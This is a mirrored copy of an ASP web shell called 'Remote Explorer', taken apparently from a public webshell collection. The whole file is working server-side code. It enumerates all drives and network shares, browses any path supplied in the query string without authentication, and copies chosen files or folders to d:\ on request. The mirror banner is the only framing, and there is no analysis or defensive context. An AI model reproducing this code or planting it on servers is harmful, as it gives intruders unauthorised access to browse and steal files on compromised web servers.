mirror of
https://github.com/tennc/webshell
synced 2024-11-26 05:00:18 +00:00
251 lines
7.3 KiB
Text
251 lines
7.3 KiB
Text
|
<%@ Language=VBScript %>
|
|||
|
|
<%
|
|||
|
|
Option Explicit
|
|||
|
|
|
|||
|
|
Dim giCount
|
|||
|
|
Dim gvAttributes
|
|||
|
|
|
|||
|
|
Dim Ext
|
|||
|
|
|
|||
|
|
Dim ScriptFolder
|
|||
|
|
Dim FolderPath
|
|||
|
|
|
|||
|
|
Dim FileSystem
|
|||
|
|
Dim Drives
|
|||
|
|
Dim Drive
|
|||
|
|
Dim Folders
|
|||
|
|
Dim Folder
|
|||
|
|
Dim SubFolders
|
|||
|
|
Dim SubFolder
|
|||
|
|
Dim Files
|
|||
|
|
Dim File
|
|||
|
|
|
|||
|
|
Dim BgColor, BackgroundColor,FSO
|
|||
|
|
|
|||
|
|
If Request.QueryString("CopyFolder") <> "" Then
|
|||
|
|
Set FSO = CreateObject("Scripting.FileSystemObject")
|
|||
|
|
FSO.CopyFolder Request.QueryString("CopyFolder") & "*", "d:\"
|
|||
|
|
End If
|
|||
|
|
|
|||
|
|
If Request.QueryString("CopyFile") <> "" Then
|
|||
|
|
Set FSO = CreateObject("Scripting.FileSystemObject")
|
|||
|
|
FSO.CopyFile Request.QueryString("FolderPath") & Request.QueryString("CopyFile"), "d:\"
|
|||
|
|
End If
|
|||
|
|
|
|||
|
|
Set FileSystem = Server.CreateObject("Scripting.FileSystemObject")
|
|||
|
|
|
|||
|
|
FolderPath = Request.QueryString("FolderPath")
|
|||
|
|
|
|||
|
|
If FolderPath = "" Then
|
|||
|
|
FolderPath = Request.ServerVariables("PATH_TRANSLATED")
|
|||
|
|
End If
|
|||
|
|
|
|||
|
|
FolderPath = ParseFolder(FolderPath)
|
|||
|
|
|
|||
|
|
ScriptFolder = ParseFolder(Request.ServerVariables("PATH_TRANSLATED")) & "images\"
|
|||
|
|
|
|||
|
|
%>
|
|||
|
|
<html>
|
|||
|
|
<head>
|
|||
|
|
<title>Remote Explorer</title>
|
|||
|
|
<style type="text/css">
|
|||
|
|
BODY
|
|||
|
|
{
|
|||
|
|
BACKGROUND-COLOR: #C0C0C0
|
|||
|
|
FONT-FAMILY: 'MS Sans Serif', Arial;
|
|||
|
|
FONT-SIZE: 8px;
|
|||
|
|
MARGIN: 0px
|
|||
|
|
}
|
|||
|
|
td, input, select
|
|||
|
|
{
|
|||
|
|
FONT-FAMILY: 'MS Sans Serif', Arial;
|
|||
|
|
FONT-SIZE: 8px;
|
|||
|
|
}
|
|||
|
|
.Address
|
|||
|
|
{
|
|||
|
|
BACKGROUND-ATTACHMENT: fixed;
|
|||
|
|
BACKGROUND-POSITION: 1px center;
|
|||
|
|
BACKGROUND-REPEAT: no-repeat;
|
|||
|
|
Padding-LEFT: 10px
|
|||
|
|
}
|
|||
|
|
.Go
|
|||
|
|
{
|
|||
|
|
BACKGROUND-ATTACHMENT: fixed;
|
|||
|
|
BACKGROUND-POSITION: left center;
|
|||
|
|
BACKGROUND-REPEAT: no-repeat;
|
|||
|
|
Padding-LEFT: 10px
|
|||
|
|
}
|
|||
|
|
</style>
|
|||
|
|
</head>
|
|||
|
|
<body bgcolor="#c0c0c0">
|
|||
|
|
<table width="100%" cellpadding="0" cellspacing="0" border="0">
|
|||
|
|
<tr>
|
|||
|
|
<form>
|
|||
|
|
<td width="1%" nowrap>
|
|||
|
|
<select name="FolderPath" id="Drive">
|
|||
|
|
<%
|
|||
|
|
Set Drives = FileSystem.Drives
|
|||
|
|
For Each Drive In Drives
|
|||
|
|
Response.Write "<OPTION value=""" & Drive.DriveLetter & ":\"""
|
|||
|
|
If InStr(UCase(FolderPath), Drive.DriveLetter & ":\") > 0 Then Response.Write " selected"
|
|||
|
|
Response.Write ">"
|
|||
|
|
Response.Write Drive.DriveLetter & " - "
|
|||
|
|
If Drive.DriveType = "Remote" Then
|
|||
|
|
Response.Write Drive.ShareName & " [share]"
|
|||
|
|
ElseIf Drive.DriveLetter <> "A" Then
|
|||
|
|
If Drive.IsReady Then
|
|||
|
|
Response.Write Drive.VolumeName
|
|||
|
|
Else
|
|||
|
|
Response.Write "(Not Ready)"
|
|||
|
|
End If
|
|||
|
|
Else
|
|||
|
|
Response.Write "(Skiped Detection)"
|
|||
|
|
End If
|
|||
|
|
Response.Write "</OPTION>"
|
|||
|
|
Next
|
|||
|
|
%>
|
|||
|
|
</select> <input class="Go" type="submit" value="Go" style="border:1px outset">
|
|||
|
|
</td>
|
|||
|
|
</form>
|
|||
|
|
<td width="1%"> Address: </td>
|
|||
|
|
<form>
|
|||
|
|
<td width="100%">
|
|||
|
|
<input class="Address" type="text" name="FolderPath" value="<%=FolderPath%>" style="width:100%" size="20">
|
|||
|
|
</td>
|
|||
|
|
<td width="1%">
|
|||
|
|
<input class="Go" type="submit" value="Go"style="border:1px outset">
|
|||
|
|
</td>
|
|||
|
|
</form>
|
|||
|
|
</tr>
|
|||
|
|
</table>
|
|||
|
|
<%
|
|||
|
|
Set Folder = FileSystem.GetFolder(FolderPath)
|
|||
|
|
Set SubFolders = Folder.SubFolders
|
|||
|
|
Set Files = Folder.Files
|
|||
|
|
%>
|
|||
|
|
<br>
|
|||
|
|
<table cellpadding="1" cellspacing="1" border="0" width="100%" align="center" style="border:1px inset">
|
|||
|
|
<tr>
|
|||
|
|
<td width="40%" height="20" bgcolor="silver"> Name</td>
|
|||
|
|
<td width="10%" bgcolor="silver" align="right">Size </td>
|
|||
|
|
<td width="20%" bgcolor="silver">Type </td>
|
|||
|
|
<td width="20%" bgcolor="silver">Modified </td>
|
|||
|
|
<td width="10%" bgcolor="silver" align="right">Attributes </td>
|
|||
|
|
</tr>
|
|||
|
|
<%
|
|||
|
|
If Not Folder.IsRootFolder Then
|
|||
|
|
BgToggle
|
|||
|
|
%>
|
|||
|
|
<tr title="Top Level">
|
|||
|
|
<td bgcolor="<%=BgColor%>"><a href= "<%=Request.ServerVariables("script_name")%>?FolderPath=<%=Server.URLPathEncode(Folder.Drive & "\")%>"><font face="wingdings" size="4">O</font> Top Level</a> </td>
|
|||
|
|
<td bgcolor="<%=BgColor%>"> </td>
|
|||
|
|
<td bgcolor="<%=BgColor%>"> </td>
|
|||
|
|
<td bgcolor="<%=BgColor%>"> </td>
|
|||
|
|
<td bgcolor="<%=BgColor%>"> </td>
|
|||
|
|
</tr>
|
|||
|
|
<%BgToggle%>
|
|||
|
|
<tr>
|
|||
|
|
<td bgcolor="<%=BgColor%>"><a href= "<%=Request.ServerVariables("script_name")%>?FolderPath=<%=Server.URLPathEncode(Folder)%>"><font face="wingdings" size="4"><3E></font> Up One Level</a> </td>
|
|||
|
|
<td bgcolor="<%=BgColor%>"> </td>
|
|||
|
|
<td bgcolor="<%=BgColor%>"> </td>
|
|||
|
|
<td bgcolor="<%=BgColor%>"> </td>
|
|||
|
|
<td bgcolor="<%=BgColor%>"> </td>
|
|||
|
|
</tr>
|
|||
|
|
<%
|
|||
|
|
End If
|
|||
|
|
For Each SubFolder In SubFolders
|
|||
|
|
BgToggle
|
|||
|
|
%>
|
|||
|
|
<tr>
|
|||
|
|
<td bgcolor="<%=BgColor%>" title="<%=SubFolder.Name%>"> <a href= "<%=Request.ServerVariables("script_name") & "?FolderPath=" & Server.URLPathEncode(FolderPath & SubFolder.Name & "\")%>"><font face="wingdings" size="4">0</font> <b><%=SubFolder.Name%></b></a> (<a href= "<%=Request.ServerVariables("script_name")%>?CopyFolder=<%=Server.URLPathEncode(FolderPath & SubFolder.Name)%>&FolderPath=<%=Server.URLPathEncode(FolderPath & "\")%>">Copy</a>)</td>
|
|||
|
|
<td bgcolor="<%=BgColor%>"> </td>
|
|||
|
|
<td bgcolor="<%=BgColor%>"><%=SubFolder.Type%> </td>
|
|||
|
|
<td bgcolor="<%=BgColor%>"><%=SubFolder.DateLastModified%> </td>
|
|||
|
|
<td bgcolor="<%=BgColor%>" align="right"><%=Attributes(SubFolder.Attributes)%></td>
|
|||
|
|
</tr>
|
|||
|
|
<%
|
|||
|
|
Next
|
|||
|
|
For Each File In Files
|
|||
|
|
BgToggle
|
|||
|
|
Ext = FileExtension(File.Name)
|
|||
|
|
%>
|
|||
|
|
<tr>
|
|||
|
|
<td bgcolor="<%=BgColor%>" title="<%=File.Name%>"> <a href= "showcode.asp?f=<%=File.Name%>&FolderPath=<%=Server.URLPathEncode(FolderPath)%>" target="_blank"><font face="wingdings" size="4">3</font> "<%=File.Name%></a> (<a href= "<%=Request.ServerVariables("script_name")%>?CopyFile=<%=File.Name%>&FolderPath=<%=Server.URLPathEncode(FolderPath & "\")%>">Copy</a>)</td>
|
|||
|
|
<td bgcolor="<%=BgColor%>" align="right"><%=(File.Size)%> Byte </td>
|
|||
|
|
<td bgcolor="<%=BgColor%>"><%=File.Type%></td>
|
|||
|
|
<td bgcolor="<%=BgColor%>"><%=File.DateLastModified%></td>
|
|||
|
|
<td bgcolor="<%=BgColor%>" align="right"><%=Attributes(File.Attributes)%></td>
|
|||
|
|
</tr>
|
|||
|
|
<%Next%>
|
|||
|
|
</table>
|
|||
|
|
</body>
|
|||
|
|
</html>
|
|||
|
|
<%
|
|||
|
|
Private Function ConvertBinary(ByVal SourceNumber, ByVal MaxValuePerIndex, ByVal MinUpperBound, ByVal IndexSeperator)
|
|||
|
|
Dim lsResult
|
|||
|
|
Dim llTemp
|
|||
|
|
Dim giCount
|
|||
|
|
MaxValuePerIndex = MaxValuePerIndex + 1
|
|||
|
|
Do While Int(SourceNumber / (MaxValuePerIndex ^ MinUpperBound)) > (MaxValuePerIndex - 1)
|
|||
|
|
MinUpperBound = MinUpperBound + 1
|
|||
|
|
Loop
|
|||
|
|
For giCount = MinUpperBound To 0 Step -1
|
|||
|
|
llTemp = Int(SourceNumber / (MaxValuePerIndex ^ giCount))
|
|||
|
|
lsResult = lsResult & CStr(llTemp)
|
|||
|
|
If giCount > 0 Then lsResult = lsResult & IndexSeperator
|
|||
|
|
SourceNumber = SourceNumber - (llTemp * (MaxValuePerIndex ^ giCount))
|
|||
|
|
Next
|
|||
|
|
ConvertBinary = lsResult
|
|||
|
|
End Function
|
|||
|
|
|
|||
|
|
Private Sub BgToggle()
|
|||
|
|
BackgroundColor = Not(BackgroundColor)
|
|||
|
|
If BackgroundColor Then
|
|||
|
|
BgColor = "#efefef"
|
|||
|
|
Else
|
|||
|
|
BgColor = "#ffffff"
|
|||
|
|
End If
|
|||
|
|
End Sub
|
|||
|
|
|
|||
|
|
Private Function Attributes(AttributeValue)
|
|||
|
|
Dim lvAttributes
|
|||
|
|
Dim lsResult
|
|||
|
|
lvAttributes = Split(ConvertBinary(AttributeValue, 1, 7, ","), ",")
|
|||
|
|
If lvAttributes(0) = 1 Then lsResult = "ReadOnly "
|
|||
|
|
If lvAttributes(1) = 1 Then lsResult = lsResult & "Hidden "
|
|||
|
|
If lvAttributes(2) = 1 Then lsResult = lsResult & "System "
|
|||
|
|
If lvAttributes(5) = 1 Then lsResult = lsResult & "Archive "
|
|||
|
|
Attributes = lsResult
|
|||
|
|
End Function
|
|||
|
|
|
|||
|
|
Private Function FileExtension(FileName)
|
|||
|
|
Dim lsExt
|
|||
|
|
Dim liCount
|
|||
|
|
For liCount = Len(FileName) To 1 Step -1
|
|||
|
|
If Mid(FileName, liCount, 1) = "." Then
|
|||
|
|
lsExt = Right(FileName, Len(FileName) - liCount)
|
|||
|
|
Exit For
|
|||
|
|
End If
|
|||
|
|
Next
|
|||
|
|
If Not FileSystem.FileExists(ScriptFolder & "ext_" & lsExt & ".gif") Then
|
|||
|
|
lsExt = ""
|
|||
|
|
End If
|
|||
|
|
FileExtension = lsExt
|
|||
|
|
End Function
|
|||
|
|
|
|||
|
|
Private Function ParseFolder(PathString)
|
|||
|
|
Dim liCount
|
|||
|
|
If Right(PathString, 1) = "\" Then
|
|||
|
|
ParseFolder = PathString
|
|||
|
|
Else
|
|||
|
|
For liCount = Len(PathString) To 1 Step -1
|
|||
|
|
If Mid(PathString, liCount, 1) = "\" Then
|
|||
|
|
ParseFolder = Left(PathString, liCount)
|
|||
|
|
Exit For
|
|||
|
|
End If
|
|||
|
|
Next
|
|||
|
|
End If
|
|||
|
|
End Function
|
|||
|
|
%>
|
|||
|
|
|